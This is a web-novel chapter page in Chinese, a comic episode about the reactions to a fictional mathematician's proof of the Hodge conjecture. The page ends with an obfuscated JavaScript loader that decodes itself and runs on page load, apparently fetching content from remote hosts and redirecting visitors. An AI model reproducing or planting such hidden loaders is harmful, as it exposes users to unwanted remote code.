首页
第699章 数学的后AI时代
返回
关灯 护眼:关 字号:小

第699章 数学的后AI时代奠基人 四

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    克雷数学研究所(CMI)。
    所长马丁·布里德森正站在自己的办公室窗前,心情复杂地看着窗外的查尔斯河。
    就在一个多月前,他还在担心徐辰那句「凑齐两个千禧年大奖一起领」的疯话,会让他们克雷研究所沦为科学界的千古笑柄。
    台湾小説网→??????????.??????
    当时他果断决定对这件事进行冷处理,希望外界随着时间的推移淡忘此事,就当无事发生过。
    在他看来,徐辰说要解决下一个,大概率只是一种体面的推脱之词。别说一个多月了,就是三五年后才能听到点风声,那都算是快的了。
    可现在……徐辰还真特么给证出来了?!
    千禧难题不要面子的吗?
    ……
    「所长,外面都在传,说我们之前临时取消了颁奖,是我们早就知道徐辰在攻坚霍奇猜想,所以才故意把NS方程的颁奖典礼给延期了。」副所长哈里斯推门而入,脸上带着一种既荒谬又庆幸的表情。
    布里德森听到这话,眼睛一亮。
    「谁传的?真是个天才!」
    「不知道啊。」哈里斯摊了摊手,「可能是因为我们之前冷处理得太及时了,反而给了外界一种『我们早就胸有成竹』的错觉。现在媒体都在夸我们有远见,说我们为了不打扰天才思考,宁愿自己背负舆论压力,也要为科学让路。」
    布里德森沉默了片刻,随后换上了一副高深莫测的表情。
    他拿起电话,接通了公关部。
    「以克雷数学研究所官方的名义,发布一则声明。」
    「就说,我们对徐辰教授再次取得的辉煌成就表示最热烈的祝贺。同时,为了表达对这一历史性贡献的尊重,克雷数学研究所将正式启动对霍奇猜想证明的验证程序。待验证完成后,我们将合并颁发NS方程与霍奇猜想的两项千禧年大奖。」
    挂了电话,布里德森长长地舒了一口气。
    危机,总算是暂时解除了。
    「不过,所长……」哈里斯还是有些担忧,「NS方程的验证都花了半年多。这次霍奇猜想的证明,听说极其复杂,而且徐辰还搞出了四种全新的数学工具,全世界能看懂的人都没几个。这验证起来,不得猴年马月去?」
    「我问过普林斯顿那边了。他们初步估计,光是把那四篇工具论文彻底吃透,至少就需要半年。完整的验证周期,没人敢打包票。」
    布里德森说道,「那我们就等,就算等上两年,也不能再出岔子了。」
    顿了顿,他又像是在祈祷般喃喃自语:
    「下次他来领奖的时候,总不会说……他又要解决第三个了吧?!」
    ……
    华国,人民教育出版社,数学教材编纂中心。
    主编老王看着屏幕上的新闻标题,用了整整三秒钟来调整自己的呼吸。
    又来了。
    又特么来了。
    去年年初,他们刚把哥德巴赫猜想的内容编进教材。选题丶组织专家丶初稿丶修改丶排版丶送审……整个团队熬了一个多月的夜,好不容易才把母版送进了印厂。
    结果年底,徐辰把NS方程又给证了!那是千禧年大奖啊!
    根据《中小学教材管理办法》,经济丶社会丶科技等领域发生重大变化丶取得重要成果,经国家权威部门认可的丶改变现有认知的重要学术成果发布「应当及时修订。
    于是,编纂中心又迎来了一轮紧急加班。
    新增文字,补充配图,组织专家论证,重新修改相关知识表述。
    最麻烦的是排版。
    教材不是网络文章,不能随手在中间插一段话。前面多出半页,后面的图表丶例题丶页码乃至章节分页,都可能跟着连锁变动。
    他们好不容易才把这一版教材重新印出来,本以为至少能消停两年。
    结果徐辰用了一个多月,就把霍奇猜想给证了,还带着四个足以重塑代数几何的新工具。
    虽然还没有经过同行评议,但是老王觉得过不了多久又得加班了。
    老王转向身边的年轻编辑小李,小李正在那儿推算页码。
    「小李,你再算一遍。要是又加新内容,从这一章开始,后面得改多少页?「
    小李拿起计算器,噼里啪啦一顿按,脸色逐渐从白变青。
    「主任……如果按照惯例加一整页的内容,那后面至少得重排……「小李咽了口唾沫,「大概五十多页。「
    主任顿觉一阵头疼。又得改,每次改还得走一遍编订丶统稿丶审读等繁琐流程,麻烦得要命。
    年轻的编辑想了一个办法:「要不……就在那页里塞一张特别大的配图。万一以后又要加内容,咱们就把图片尺寸缩小一点,腾出几行字的空间。这样……至少能保证后面的页码不乱?工作量也小一点。」
    老王闻言,抬起头,用一种看绝世天才的眼神看着这位年轻人。
    「小李啊……」老王拍了拍他的肩膀,语重心长,「你他娘的真是个人才。」
    ……
    与此同时。
    华国高等研究院,副院长刘正伟正火急火燎地来到了徐辰的办公室。
    作为主管研究院行政和文化建设的副院长,刘正伟这几天满脑子都是「历史遗产」。
    以前徐辰证明哥德巴赫猜想丶NS方程的时候,那几场惊艳全球的报告会上,徐辰推导公式用过的白板,已经被国际数学家联盟和华国数学会当做无价之宝给珍藏起来了,妥妥的数学史文物。
    而这一次,徐辰不仅证明了霍奇猜想,更是一举奠定了后AI时代的数学新范式!
    刘正伟敏锐地意识到,如果能拿到第一手的丶证明过程中的相关文物,那可比报告会那种「事后复盘」的文物要珍贵一百倍!
    于是,他一得到消息,立刻带着专职摄影师和几个助理,提着大包小包的摄像设备,直接杀到了徐辰的办公室。
    徐辰正靠在椅子上思考问题,被刘正伟这阵仗吓了一跳。
    得知刘院长的来意后,徐辰无奈地表示,写满公式的白板早就被保洁阿姨擦得鋥光瓦亮,零散的草稿纸也基本进了废纸篓。更离谱的是,他说这次发明的工具太抽象,写在纸上反而碍事,所以核心推演全是他靠脑补构思好,然后直接扔给AI去跑验证的。
    刘正伟听完,整个人都无语了。连草稿都不打,直接在脑子里跑云计算?这到底是什么违背生物学常理的逆天大脑!
    真迹是没了,但「历史」必须得留。无奈之下,刘副院长当机立断,原地化身大导演,硬拉着徐辰搞起了摆拍。
    他一会儿紧锁眉头假装在纸上奋笔疾书,一会儿盯着屏幕噼里啪啦地敲击键盘。随着快门「咔嚓咔嚓」狂闪,一组名为「徐辰攻坚霍奇猜想珍贵影像」的照片就此新鲜出炉。
    有意思的是,后来这组照片真的入选了全国中小学数学教材。
    不过,编委会并没有选用传统的「握笔沉思」照,而是挑了那张徐辰盯着电脑敲击键盘的照片。
    理由也很简单,这张刚好符合后AI时代这一文化符号。
    ……
    随着论文上传,徐辰的维基百科词条也再次迎来更新。
    每增加一项成就,词条开头的前缀就变得更长。
    于是,很快就有一个化用了某知名奇幻美剧经典桥段的段子,在各大论坛疯狂流传开来:
    深夜,徐辰敲开一户人家的门。
    屋里的老人隔着门问:「外面是谁?」
    徐辰清了清嗓子,回答道:
    「我是徐辰,菲尔兹特别奖得主丶华国科学院院士丶哥德巴赫猜想证明者丶纳维—斯托克斯方程终结者丶霍奇猜想证明者丶现代等离子体预测控制之父丶华国数学AI奠基人丶后AI时代数学新纪元的开拓者……」
    屋里的老人听完,沉默了足足半分钟,然后隔着门大喊了一声:
    「你走吧!我这住不下这么多人!!!」
    ……
    <insclass="pubadx-slot"data-zoneid="10802"></ins>
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();